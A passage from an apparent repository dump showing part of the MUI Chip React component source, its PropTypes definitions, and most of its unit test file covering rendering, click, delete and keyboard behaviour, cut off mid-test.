};\n\n  const clickable = clickableProp !== false && onClick ? true : clickableProp;\n\n  const component = clickable || onDelete ? ButtonBase : ComponentProp || 'div';\n\n  const ownerState = {\n    ...props,\n    component,\n    disabled,\n    size,\n    color,\n    iconColor: React.isValidElement(iconProp) ? iconProp.props.color || color : color,\n    onDelete: !!onDelete,\n    clickable,\n    variant,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const moreProps =\n    component === ButtonBase\n      ? {\n          component: ComponentProp || 'div',\n          internalNativeButton: false,\n          focusVisibleClassName: classes.focusVisible,\n          ...(onDelete && { disableRipple: true }),\n          ...(nativeButton !== undefined && { nativeButton }),\n        }\n      : {};\n\n  let deleteIcon = null;\n  if (onDelete) {\n    deleteIcon =\n      deleteIconProp && React.isValidElement(deleteIconProp) ? (\n        React.cloneElement(deleteIconProp, {\n          className: clsx(deleteIconProp.props.className, classes.deleteIcon),\n          onClick: handleDeleteIconClick,\n        })\n      ) : (\n        <CancelIcon className={classes.deleteIcon} onClick={handleDeleteIconClick} />\n      );\n  }\n\n  let avatar = null;\n  if (avatarProp && React.isValidElement(avatarProp)) {\n    avatar = React.cloneElement(avatarProp, {\n      className: clsx(classes.avatar, avatarProp.props.className),\n    });\n  }\n\n  let icon = null;\n  if (iconProp && React.isValidElement(iconProp)) {\n    icon = React.cloneElement(iconProp, {\n      className: clsx(classes.icon, iconProp.props.className),\n    });\n  }\n\n  if (process.env.NODE_ENV !== 'production') {\n    if (avatar && icon) {\n      console.error(\n        'MUI: The Chip component can not handle the avatar ' +\n          'and the icon prop at the same time. Pick one.',\n      );\n    }\n  }\n\n  const externalForwardedProps = {\n    slots,\n    slotProps,\n  };\n\n  const [RootSlot, rootProps] = useSlot('root', {\n    elementType: ChipRoot,\n    externalForwardedProps: {\n      ...externalForwardedProps,\n      ...buttonBaseProps,\n    },\n    ownerState,\n    // The `component` prop is preserved because `Chip` relies on it for internal logic. If `shouldForwardComponentProp` were `false`, `useSlot` would remove the `component` prop, potentially breaking the component's behavior.\n    shouldForwardComponentProp: true,\n    ref: handleRef,\n    className: clsx(classes.root, className),\n    additionalProps: {\n      disabled: clickable && disabled ? true : undefined,\n      tabIndex: skipFocusWhenDisabled && disabled ? -1 : tabIndex,\n      ...moreProps,\n    },\n    getSlotProps: (handlers) => ({\n      ...handlers,\n      onClick: (event) => {\n        handlers.onClick?.(event);\n        onClick?.(event);\n      },\n      onKeyDown: (event) => {\n        handlers.onKeyDown?.(event);\n        handleKeyDown(event);\n      },\n      onKeyUp: (event) => {\n        handlers.onKeyUp?.(event);\n        handleKeyUp(event);\n      },\n    }),\n  });\n\n  const [LabelSlot, labelProps] = useSlot('label', {\n    elementType: ChipLabel,\n    externalForwardedProps,\n    ownerState,\n    className: classes.label,\n  });\n\n  return (\n    <RootSlot as={component} {...rootProps}>\n      {avatar || icon}\n      <LabelSlot {...labelProps}>{label}</LabelSlot>\n      {deleteIcon}\n    </RootSlot>\n  );\n});\n\nChip.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The Avatar element to display.\n   */\n  avatar: PropTypes.element,\n  /**\n   * This prop isn't supported.\n   * Use the `component` prop if you need to change the children structure.\n   */\n  children: unsupportedProp,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * If `true`, the chip will appear clickable, and will raise when pressed,\n   * even if the onClick prop is not defined.\n   * If `false`, the chip will not appear clickable, even if onClick prop is defined.\n   * This can be used, for example,\n   * along with the component prop to indicate an anchor Chip is clickable.\n   * Note: this controls the UI and does not affect the onClick event.\n   */\n  clickable: PropTypes.bool,\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'default'\n   */\n  color: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['default', 'primary', 'secondary', 'error', 'info', 'success', 'warning']),\n    PropTypes.string,\n  ]),\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * Override the default delete icon element. Shown only if `onDelete` is set.\n   */\n  deleteIcon: PropTypes.element,\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled: PropTypes.bool,\n  /**\n   * Icon element.\n   */\n  icon: PropTypes.element,\n  /**\n   * The content of the component.\n   */\n  label: PropTypes.node,\n  /**\n   * If `true`, the component is expected to resolve to a native `<button>` element.\n   * When omitted, custom components inherit the default button semantics of the current wrapper.\n   * Set to `true` when a custom component resolves to a native `<button>`, or `false`\n   * when it resolves to a non-button host.\n   */\n  nativeButton: PropTypes.bool,\n  /**\n   * @ignore\n   */\n  onClick: PropTypes.func,\n  /**\n   * Callback fired when the delete icon is clicked.\n   * If set, the delete icon will be shown.\n   */\n  onDelete: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onKeyDown: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onKeyUp: PropTypes.func,\n  /**\n   * The size of the component.\n   * @default 'medium'\n   */\n  size: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['medium', 'small']),\n    PropTypes.string,\n  ]),\n  /**\n   * If `true`, allows the disabled chip to escape focus.\n   * If `false`, allows the disabled chip to receive focus.\n   * @default false\n   */\n  skipFocusWhenDisabled: PropTypes.bool,\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    label: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    label: PropTypes.elementType,\n    root: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * @ignore\n   */\n  tabIndex: PropTypes.number,\n  /**\n   * The variant to use.\n   * @default 'filled'\n   */\n  variant: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['filled', 'outlined']),\n    PropTypes.string,\n  ]),\n};\n\nexport default Chip;\n"
  },
  {
    "path": "packages/mui-material/src/Chip/Chip.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy, stub } from 'sinon';\nimport {\n  act,\n  createRenderer,\n  fireEvent,\n  focusVisible,\n  simulatePointerDevice,\n  programmaticFocusTriggersFocusVisible,\n  screen,\n  isJsdom,\n} from '@mui/internal-test-utils';\nimport Avatar from '@mui/material/Avatar';\nimport Chip, { chipClasses as classes } from '@mui/material/Chip';\nimport { ThemeProvider, createTheme, hexToRgb } from '@mui/material/styles';\nimport CheckBox from '../internal/svg-icons/CheckBox';\nimport defaultTheme from '../styles/defaultTheme';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<Chip />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<Chip />, () => ({\n    classes,\n    inheritComponent: 'div',\n    render,\n    muiName: 'MuiChip',\n    testDeepOverrides: { slotName: 'label', slotClassName: classes.label },\n    testVariantProps: { variant: 'outlined' },\n    testStatOverrides: { prop: 'size', value: 'small', styleKey: 'sizeSmall' },\n    refInstanceof: window.HTMLDivElement,\n    testComponentPropWith: 'span',\n    slots: {\n      root: {\n        expectedClassName: classes.root,\n      },\n      label: {\n        expectedClassName: classes.label,\n      },\n    },\n  }));\n\n  describe('text only', () => {\n    it('is not in tab order', () => {\n      const { container } = render(<Chip label=\"My text Chip\" />);\n\n      expect(container.querySelectorAll('[tabindex]')).to.have.length(0);\n    });\n\n    it('should renders certain classes and contains a label', () => {\n      const { container } = render(<Chip label=\"My text Chip\" />);\n\n      const chip = container.querySelector(`.${classes.root}`);\n      const label = container.querySelector(`.${classes.label}`);\n\n      expect(label).to.have.tagName('span');\n      expect(label).to.have.text('My text Chip');\n\n      expect(chip).to.have.class(classes.root);\n      expect(chip).to.have.class(classes.colorDefault);\n      expect(chip).not.to.have.class(classes.colorPrimary);\n      expect(chip).not.to.have.class(classes.colorSecondary);\n      expect(chip).not.to.have.class(classes.clickable);\n      expect(chip).not.to.have.class(classes.deletable);\n    });\n\n    it('should render with the color class name based on the color prop', () => {\n      const capitalize = (str) => str.charAt(0).toUpperCase() + str.slice(1);\n\n      ['primary', 'secondary', 'info', 'error', 'warning', 'success'].forEach((color) => {\n        const { container } = render(<Chip color={color} />);\n        const chip = container.querySelector(`.${classes.root}`);\n        expect(chip).to.have.class(classes[`color${capitalize(color)}`]);\n      });\n    });\n  });\n\n  describe('clickable chip', () => {\n    /**\n     * @param {{ mock: { calls: unknown[][] } }} errorSpy\n     * @returns {string[]}\n     */\n    function getWarningMessages(errorSpy) {\n      return errorSpy.mock.calls.map((call) =>\n        String(call[0]).replace(/\\s+/g, ' ').trim().toLowerCase(),\n      );\n    }\n\n    /**\n     * @param {{ mock: { calls: unknown[][] } }} errorSpy\n     * @param {string[]} fragments\n     */\n    function expectWarningWithFragments(errorSpy, fragments) {\n      const messages = getWarningMessages(errorSpy);\n\n      expect(messages.length).to.be.greaterThanOrEqual(1);\n      expect(\n        messages.some((message) =>\n          fragments.every((fragment) => message.includes(fragment.toLowerCase())),\n        ),\n      ).to.equal(true);\n    }\n\n    it('renders as a button in taborder with the label as the accessible name', () => {\n      render(<Chip label=\"My Chip\" onClick={() => {}} />);\n\n      const button = screen.getByRole('button');\n      expect(button).to.have.property('tabIndex', 0);\n      expect(button).toHaveAccessibleName('My Chip');\n    });\n\n    it('forwards nativeButton to ButtonBase when interactive', () => {\n      const CustomButton = React.forwardRef((props, ref) => <button ref={ref} {...props} />);\n\n      render(<Chip label=\"My Chip\" onClick={() => {}} component={CustomButton} nativeButton />);\n\n      const chip = screen.getByRole('button');\n      expect(chip).to.have.tagName('BUTTON');\n      expect(chip).to.have.attribute('type', 'button');\n    });\n\n    it('does not leak nativeButton to DOM when not interactive', () => {\n      const { container } = render(<Chip label=\"My Chip\" nativeButton />);\n\n      expect(container.firstChild).to.have.tagName('DIV');\n      expect(container.firstChild).not.to.have.attribute('nativebutton');\n    });\n\n    it('does not leak disabled-focus props from slotProps.root to the DOM when not interactive', () => {\n      const { container } = render(\n        <Chip\n          label=\"My Chip\"\n          slotProps={{ root: { focusableWhenDisabled: true, skipFocusWhenDisabled: true } }}\n        />,\n      );\n\n      expect(container.firstChild).to.have.tagName('DIV');\n      expect(container.firstChild).not.to.have.attribute('focusablewhendisabled');\n      expect(container.firstChild).not.to.have.attribute('skipfocuswhendisabled');\n    });\n\n    it('does not forward focusableWhenDisabled to ButtonBase', () => {\n      render(<Chip label=\"My Chip\" disabled onClick={() => {}} focusableWhenDisabled />);\n\n      const chip = screen.getByRole('button');\n      expect(chip).to.have.attribute('aria-disabled', 'true');\n      expect(chip).to.have.attribute('tabindex', '-1');\n    });\n\n    it('does not warn when nativeButton is omitted and a custom non-button component is used', () => {\n      const CustomSpan = React.forwardRef((props, ref) => <span ref={ref} {...props} />);\n      const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});\n\n      render(<Chip label=\"My Chip\" onClick={() => {}} component={CustomSpan} />);\n\n      const messages = getWarningMessages(errorSpy);\n      expect(messages.some((message) => message.includes('nativebutton={false}'))).to.equal(false);\n      expect(screen.getByRole('button')).to.have.tagName('SPAN');\n      errorSpy.mockRestore();\n    });\n\n    it('warns when nativeButton is omitted and a custom button component is used', () => {\n      const CustomButton = React.forwardRef((props, ref) => <button ref={ref} {...props} />);\n      const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});\n\n      render(<Chip label=\"My Chip\" onClick={() => {}} component={CustomButton} />);\n\n      expectWarningWithFragments(errorSpy, ['nativebutton={true}', 'native <button>']);\n      errorSpy.mockRestore();\n    });\n\n    it('does not warn when nativeButton={false} is set with a custom non-button component', () => {\n      const CustomSpan = React.forwardRef((props, ref) => <span ref={ref} {...props} />);\n      const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});\n\n      render(\n        <Chip label=\"My Chip\" onClick={() => {}} component={CustomSpan} nativeButton={false} />,\n      );\n\n      const messages = getWarningMessages(errorSpy);\n      expect(messages.some((message) => message.includes('nativebutton={false}'))).to.equal(false);\n      expect(screen.getByRole('button')).to.have.tagName('SPAN');\n      errorSpy.mockRestore();\n    });\n\n    it('should render link with the button base', () => {\n      const { container } = render(<Chip component=\"a\" clickable label=\"My text Chip\" />);\n\n      expect(container.firstChild).to.have.class('MuiButtonBase-root');\n      expect(container.firstChild).to.have.tagName('a');\n    });\n\n    it('should disable ripple when MuiButtonBase has disableRipple in theme', () => {\n      const theme = createTheme({\n        components: {\n          MuiButtonBase: {\n            defaultProps: {\n              disableRipple: true,\n            },\n          },\n        },\n      });\n\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <Chip clickable label=\"My Chip\" />\n        </ThemeProvider>,\n      );\n\n      expect(container.firstChild).to.have.class('MuiButtonBase-root');\n      expect(container.firstChild.querySelector('.MuiTouchRipple-root')).to.equal(null);\n    });\n\n    it('should apply user value of tabIndex', () => {\n      render(<Chip label=\"My Chip\" onClick={() => {}} tabIndex={5} />);\n\n      expect(screen.getByRole('button')).to.have.property('tabIndex', 5);\n    });\n\n    it('should render with the root and clickable class', () => {\n      const { container } = render(<Chip label=\"My Chip\" onClick={() => {}} />);\n\n      const chip = container.querySelector(`.${classes.root}`);\n      expect(chip).to.have.class(classes.root);\n      expect(chip).to.have.class(classes.clickable);\n    });\n\n    it('should render with the root and clickable primary class', () => {\n      render(<Chip label=\"My Chip\" onClick={() => {}} color=\"primary\" />);\n\n      const button = screen.getByRole('button');\n      expect(button).to.have.class(classes.root);\n      expect(button).to.have.class(classes.colorPrimary);\n      expect(button).to.have.class(classes.clickable);\n    });\n\n    it('should render with the root and outlined clickable primary class', () => {\n      const { container } = render(\n        <Chip color=\"primary\" label=\"My Chip\" onClick={() => {}} variant=\"outlined\" />,\n      );\n\n      const chip = container.querySelector(`.${classes.root}`);\n      expect(chip).to.have.class(classes.root);\n      expect(chip).to.have.class(classes.colorPrimary);\n      expect(chip).to.have.class(classes.clickable);\n      expect(chip).to.have.class(classes.outlined);\n    });\n\n    it('should render with the root and outlined clickable secondary class', () => {\n      render(<Chip color=\"secondary\" label=\"My Chip\" onClick={() => {}} variant=\"outlined\" />);\n\n      const button = screen.getByRole('button');\n      expect(button).to.have.class(classes.root);\n      expect(button).to.have.class(classes.colorSecondary);\n      expect(button).to.have.class(classes.clickable);\n      expect(button).to.have.class(classes.outlined);\n    });\n\n    it('should render with the root and filled clickable primary class', () => {\n      render(<Chip color=\"primary\" label=\"My Chip\" onClick={() => {}} variant=\"filled\" />);\n\n      const chip = screen.getByRole('button');\n      expect(chip).to.have.class(classes.root);\n      expect(chip).to.have.class(classes.colorPrimary);\n      expect(chip).to.have.class(classes.clickable);\n      expect(chip).to.have.class(classes.filled);\n    });\n\n    it('should not be focused when a deletable chip is disabled and skipFocusWhenDisabled is true', () => {\n      render(\n        <Chip\n          label=\"My Chip\"\n          disabled\n          data-testid=\"chip\"\n          skipFocusWhenDisabled\n          onDelete={() => {}}\n        />,\n      );\n\n      const chip = screen.getByTestId('chip');\n\n      simulatePointerDevice();\n      fireEvent.keyDown(document.body, { key: 'Tab' });\n\n      expect(chip).to.have.class(classes.root);\n      expect(chip).to.have.property('tabIndex', -1);\n      expect(chip).not.to.have.class(classes.focusVisible);\n    });\n\n    it('should render with the root and filled clickable secondary class', () => {\n      render(<Chip color=\"secondary\" label=\"My Chip\" onClick={() => {}} variant=\"filled\" />);\n\n      const chip = screen.getByRole('button');\n      expect(chip).to.have.class(classes.root);\n      expect(chip).to.have.class(classes.colorSecondary);\n      expect(chip).to.have.class(classes.clickable);\n      expect(chip).to.have.class(classes.filled);\n    });\n  });\n\n  describe('deletable Avatar chip', () => {\n    it('should render a button in tab order with the avatar', () => {\n      const { container } = render(\n        <Chip\n          avatar={<Avatar id=\"avatar\">MB</Avatar>}\n          label=\"Text Avatar Chip\"\n          onDelete={() => {}}\n        />,\n      );\n\n      expect(screen.getByRole('button')).to.have.property('tabIndex', 0);\n      expect(container.querySelector('#avatar')).not.to.equal(null);\n    });\n\n    it('should not create ripples', () => {\n      const { container } = render(\n        <Chip avatar={<Avatar id=\"avatar\">MB</Avatar>} onDelete={() => {}} />,\n      );\n\n      expect(container.firstChild.querySelector('.MuiTouchRipple-root')).to.equal(null);\n    });\n\n    it('should apply user value of tabIndex', () => {\n      const { container } = render(\n        <Chip\n          avatar={<Avatar id=\"avatar\">MB</Avatar>}\n          label=\"Text Avatar Chip\"\n          onDelete={() => {}}\n          tabIndex={5}\n        />,\n      );\n\n      expect(screen.getByRole('button')).to.have.property('tabIndex', 5);\n      const elementsInTabOrder = Array.from(container.querySelectorAll('[tabIndex]')).filter(\n        (element) => element.tabIndex >= 0,\n      );\n      expect(elementsInTabOrder).to.have.length(1);\n    });\n\n    it('fires onDelete when clicking the delete icon', () => {\n      const handleDelete = spy();\n\n      render(\n        <Chip\n          avatar={<Avatar id=\"avatar\">MB</Avatar>}\n          label=\"Text Avatar Chip\"\n          onDelete={handleDelete}\n          deleteIcon={<div data-testid=\"delete-icon\" />}\n        />,\n      );\n\n      const deleteIcon = screen.getByTestId('delete-icon');\n\n      fireEvent.click(deleteIcon);\n\n      expect(handleDelete.callCount).to.equal(1);\n    });\n\n    it('should stop propagation when clicking the delete icon', () => {\n      const handleClick = spy();\n\n      render(\n        <Chip\n          avatar={<Avatar id=\"avatar\">MB</Avatar>}\n          label=\"Text Avatar Chip\"\n          onClick={handleClick}\n          onDelete={() => {}}\n          deleteIcon={<div data-testid=\"delete-icon\" />}\n        />,\n      );\n\n      const deleteIcon = screen.getByTestId('delete-icon');\n\n      fireEvent.click(deleteIcon);\n\n      expect(handleClick.callCount).to.equal(0);\n    });\n\n    it('should render with the root, deletable classes', () => {\n      const { container } = render(\n        <Chip\n          avatar={<Avatar id=\"avatar\">MB</Avatar>}\n          label=\"Text Avatar Chip\"\n          onDelete={() => {}}\n        />,\n      );\n\n      const chip = container.querySelector(`.${classes.root}`);\n      expect(chip).to.have.class(classes.deletable);\n    });\n\n    it('should render with the root, deletable and avatar primary classes', () => {\n      const { container } = render(\n        <Chip\n          avatar={<Avatar className=\"my-Avatar\">MB</Avatar>}\n          label=\"Text Avatar Chip\"\n          onDelete={() => {}}\n          color=\"primary\"\n        />,\n      );\n\n      const chip = container.querySelector(`.${classes.root}`);\n      expect(chip).to.have.class(classes.colorPrimary);\n      expect(chip).to.have.class(classes.deletable);\n      const avatar = container.querySelector(`.${classes.avatar}`);\n      expect(avatar).to.have.class(classes.avatar);\n    });\n\n    it('should render with the root, deletable and avatar secondary classes', () => {\n      const { container } = render(\n        <Chip\n          avatar={<Avatar>MB</Avatar>}\n          label=\"Text Avatar Chip\"\n          onDelete={() => {}}\n          color=\"secondary\"\n        />,\n      );\n\n      const chip = container.querySelector(`.${classes.root}`);\n      expect(chip).to.have.class(classes.colorSecondary);\n      expect(chip).to.have.class(classes.deletable);\n      const avatar = container.querySelector(`.${classes.avatar}`);\n      expect(avatar).to.have.class(classes.avatar);\n    });\n  });\n\n  describe('prop: deleteIcon', () => {\n    it('should render a default icon with the root, deletable and deleteIcon classes', () => {\n      render(<Chip label=\"Custom delete icon Chip\" onDelete={() => {}} />);\n\n      const chip = screen.getByRole('button');\n      const icon = screen.getByTestId('CancelIcon');\n\n      expect(chip).to.have.class(classes.deletable);\n      expect(chip).to.contain(icon);\n      expect(icon).to.have.class(classes.deleteIcon);\n    });\n\n    it('should render default icon with the root, deletable and deleteIcon primary class', () => {\n      const { container } = render(\n        <Chip label=\"Custom delete icon Chip\" onDelete={() => {}} color=\"primary\" />,\n      );\n\n      const chip = container.querySelector(`.${classes.root}`);\n      expect(chip).to.have.class(classes.colorPrimary);\n      expect(chip).to.have.class(classes.deletable);\n      const icon = screen.getByTestId('CancelIcon');\n      expect(icon).to.have.class(classes.deleteIcon);\n    });\n\n    it('should render a default icon with the root, deletable, deleteIcon secondary class', () => {\n      const { container } = render(\n        <Chip label=\"Custom delete icon Chip\" onDelete={() => {}} color=\"secondary\" />,\n      );\n\n      const chip = container.querySelector(`.${classes.root}`);\n      expect(chip).to.have.class(classes.colorSecondary);\n      expect(chip).to.have.class(classes.deletable);\n      const icon = screen.getByTestId('CancelIcon');\n      expect(icon).to.have.class(classes.deleteIcon);\n    });\n\n    it('should render default icon with the root, deletable, deleteIcon primary class and deleteIcon filled primary class', () => {\n      const { container } = render(\n        <Chip\n          label=\"Custom delete icon Chip\"\n          onDelete={() => {}}\n          color=\"primary\"\n          variant=\"filled\"\n        />,\n      );\n\n      const chip = container.querySelector(`.${classes.root}`);\n      expect(chip).to.have.class(classes.colorPrimary);\n      expect(chip).to.have.class(classes.deletable);\n      const icon = screen.getByTestId('CancelIcon');\n      expect(icon).to.have.class(classes.deleteIcon);\n    });\n\n    it('should render default icon with the root, deletable, deleteIcon primary class and deleteIcon outlined primary class', () => {\n      const { container } = render(\n        <Chip\n          label=\"Custom delete icon Chip\"\n          onDelete={() => {}}\n          color=\"primary\"\n          variant=\"outlined\"\n        />,\n      );\n\n      const chip = container.querySelector(`.${classes.root}`);\n      expect(chip).to.have.class(classes.colorPrimary);\n      expect(chip).to.have.class(classes.deletable);\n      const icon = screen.getByTestId('CancelIcon');\n      expect(icon).to.have.class(classes.deleteIcon);\n    });\n\n    it('accepts a custom icon', () => {\n      const handleDelete = spy();\n\n      render(\n        <Chip label=\"Custom delete icon Chip\" onDelete={handleDelete} deleteIcon={<CheckBox />} />,\n      );\n\n      fireEvent.click(screen.getByTestId('CheckBoxIcon'));\n\n      expect(handleDelete.callCount).to.equal(1);\n    });\n  });\n\n  describe('reacts to keyboard chip', () => {\n    it('should call onKeyDown when a key is pressed', () => {\n      const handleKeydown = stub().callsFake((event) => event.key);\n      render(<Chip onClick={() => {}} onKeyDown={handleKeydown} />);\n      const chip = screen.getByRole('button');\n      act(() => {\n        chip.focus();\n      });\n\n      fireEvent.keyDown(chip, { key: 'p' });\n\n      expect(handleKeydown.callCount).to.equal(1);\n      expect(handleKeydown.firstCall.returnValue).to.equal('p');\n    });\n\n    it('should call onClick when `space` is released', () => {\n      const handleClick = spy();\n      render(<Chip onClick={handleClick} />);\n      const chip = screen.getByRole('button');\n      act(() => {\n        chip.focus();\n      });\n\n      fireEvent.keyUp(chip, { key: ' ' });\n\n      expect(handleClick.callCount).to.equal(1);\n    });\n\n    it('should call onClick when `enter` is pressed', () => {\n      const handleClick = spy();\n      render(<Chip onClick={handleClick} />);\n      const chip = screen.getByRole('button');\n      act(() => {\n        chip.focus();\n      });\n\n      fireEvent.keyDown(chip, { key: 'Enter' });\n\n      expect(handleClick.callCount).to.equal(1);\n    });\n\n    describe('prop: onDelete', () => {\n      ['Backspace', 'Delete'].forEach((key) => {\n        it(`should call onDelete '${key}' is released`, () => {\n          const handleDelete = spy();\n          const handleKeyDown = spy();\n\n          render(<Chip onClick={() => {}} onKeyDown={handleKeyDown} onDelete={handleDelete} />);\n\n          const chip = screen.getAllByRole('button')[0];\n          act(() => {\n            chip.focus();\n          });\n\n          fireEvent.keyDown(chip, { key });\n\n          // defaultPrevented?\n          expect(handleKeyDown.callCount).to.equal(1);\n          expect(handleKeyDown.firstCall.args[0]).to.have.property('defaultPrevented', true);\n          expect(handleDelete.callCount).to.equal(0);\n\n          fireEvent.keyUp(chip, { key });\n\n          expect(handleDelete.callCount).to.equal(1);\n        });\n      });\n\n      it('should not prevent default on input', () => {\n        const handleKeyDown = spy();\n        const { container } = render(<Chip label={<input />} onKeyDown={handleKeyDown} />);\n        const input = container.querySelector('input');\n\n        act(() => {\n          input.focus();\n        });\n        fireEvent.keyDown(input, { key: 'Backspace' });\n\n        expect(handleKeyDown.callCount).to.equal(1);\n        expect(handleKeyDown.firstCall.args[0]).to.have.property('defaultPrevented', false);\n      });\n    });\n\n    describe('with children that generate events', () => {\n      ['Backspace', 'Delete'].forEach((key) => {\n        it(`should not call onDelete for child keyup event when '${key}' is released`, () => {\n          const handleDelete = spy();\n          const handleKeyUp = spy();\n          render(\n            <Chip\n              onDelete={handleDelete}\n              label={<input autoFocus className=\"child-input\" onKeyUp={handleKeyUp} />}\n            />,\n          );\n\n          fireEvent.keyUp(document.querySelector('input'), { key });\n\n          expect(handleKeyUp.callCount).to.equal(1);\n          expect(handleDelete.callCount).to.equal(0);\n        });\n      });\n\n      it(`should not call onClick for child keyup event when 'Space' is released`, () => {\n        const handleClick = spy();\n        const handleKeyUp = spy();\n        render(\n          <Chip\n            onClick={handleClick}\n            label={<input autoFocus className=\"child-input\" onKeyUp={handleKeyUp} />}\n          />,\n        );\n\n        fireEvent.keyUp(document.querySelector('input'), { key: ' ' });\n        expect(handleKeyUp.callCount).to.equal(1);\n        expect(handleClick.callCount).to.equal(0);\n      });\n\n      it(`should not call onClick for child keydown event when 'Enter' is pressed`, () => {\n        const handleClick = spy();\n        const handleKeyDown = spy();\n        render(\n          <Chip\n            onClick={handleClick}\n            label={<input autoFocus className=\"child-input\" onKeyDown={handleKeyDown} />}\n          />,\n        );\n\n        fireEvent.keyDown(document.querySelector('input'), { key: 'Enter' });\n        expect(handleKeyDown.callCount).to.equal(1);\n        expect(handleClick.callCount).to.equal(0);\n      });\n\n      it('should not call onClick for child event when `space` is released', () => {\n        const handleClick = spy();\n        const handleKeyUp = spy();\n        render(\n          <Chip\n            onClick={handleClick}\n            label={<input autoFocus className=\"child-input\" onKeyUp={handleKeyUp} />}\n          />,\n        );\n\n        fireEvent.keyUp(document.querySelector('input'), { key: ' ' });\n\n        expect(handleClick.callCount).to.equal(0);\n        expect(handleKeyUp.callCount).to.equal(1);\n      });\n\n      it('should not call onClick for child event when `enter` is pressed', () => {\n        const handleClick = spy();\n        const handleKeyDown = spy();\n        render(\n          <Chip\n            onClick={handleClick}\n            label={<input autoFocus className=\"child-input\" onKeyDown={handleKeyDown} />}\n          />,\n        );\n\n        fireEvent.keyDown(document.querySelector('input'), { key: 'Enter' });\n\n        expect(handleClick.callCount).to.equal(0);\n        expect(handleKeyDown.callCount).to.equal(1);\n      });\n    });\n  });\n\n  describe('prop: icon', () => {\n    it('should render the icon', () => {\n      render(<Chip icon={<span data-testid=\"test-icon\" />} />);\n\n      expect(screen.getByTestId('test-icon')).to.have.class(classes.icon);\n    });\n\n    it(\"should not override the icon's custom color\", () => {\n      render(\n        <React.Fragment>\n          <Chip icon={<CheckBox data-testid=\"test-icon\" color=\"success\" />} />,\n          <Chip icon={<CheckBox data-testid=\"test-icon2\" color=\"success\" />} color=\"error\" />,\n        </React.Fragment>,\n      );\n\n      expect(screen.getByTestId('test-icon')).to.have.class(classes.icon);\n      expect(screen.getByTestId('test-icon2')).to.have.class(classes.icon);\n      expect(screen.getByTestId('test-icon')).to.have.class('MuiSvgIcon-colorSuccess');\n      expect(screen.getByTestId('test-icon2')).to.have.class('MuiSvgIcon-colorSuccess');\n      expect(screen.getByTestId('test-icon')).toHaveComputedStyle({\n        color: hexToRgb(defaultTheme.palette.success.main),\n      });\n      expect(screen.getByTestId('test-icon2')).toHaveComputedStyle({\n        color: hexToRgb(defaultTheme.palette.success.main),\n      });\n    });\n  });\n\n  describe('prop: size', () => {\n    it('should render with the sizeSmall class', () => {\n      const { container } = render(<Chip size=\"small\" />);\n\n      const chip = container.querySelector(`.${classes.root}`);\n      expect(chip).to.have.class(classes.sizeSmall);\n    });\n\n    it('should render the label with the sizeSmall chip', () => {\n      const { container } = render(<Chip size=\"small\" label=\"small chip\" />);\n\n      const chip = container.querySelector(`.${classes.root}`);\n      const label = container.querySelector(`.${classes.label}`);\n      expect(chip).to.have.class(classes.sizeSmall);\n      expect(label).to.have.class(classes.label);\n    });\n\n    it('should render an avatar on a sizeSmall chip', () => {\n      const { container } = render(\n        <Chip size=\"small\" avatar={<Avatar className=\"my-Avatar\">MB</Avatar>} />,\n      );\n\n      const chip = container.querySelector(`.${classes.root}`);\n      const avatar = container.querySelector('.my-Avatar');\n      expect(chip).to.have.class(classes.sizeSmall);\n      expect(avatar).to.have.class(classes.avatar);\n    });\n\n    it('should render an icon on a sizeSmall chip', () => {\n      const { container } = render(<Chip size=\"small\" icon={<span id=\"test-icon\" />} />);\n\n      const chip = container.querySelector(`.${classes.root}`);\n      const icon = container.querySelector('#test-icon');\n      expect(chip).to.have.class(classes.sizeSmall);\n      expect(icon).to.have.class(classes.icon);\n    });\n\n    it('should render the delete icon on a sizeSmall chip', () => {\n      const { container } = render(<Chip size=\"small\" onDelete={() => {}} />);\n\n      const chip = container.querySelector(`.${classes.root}`);\n      const icon = screen.getByTestId('CancelIcon');\n      expect(chip).to.have.class(classes.sizeSmall);\n      expect(icon).to.have.class(classes.deleteIcon);\n    });\n  });\n\n  describe.skipIf(isJsdom())('event: focus', () => {\n    it('has a focus-visible polyfill', () => {\n      const { container } = render(<Chip label=\"Test Chip\" onClick={() => {}} />);\n      const chip = container.querySelector(`.${classes.root}`);\n      simulatePointerDevice();\n\n      expect(chip).not.to.have.class(classes.focusVisible);\n\n      act(() => {\n        chip.focus();\n      });\n\n      if (programmaticFocusTriggersFocusVisible()) {\n        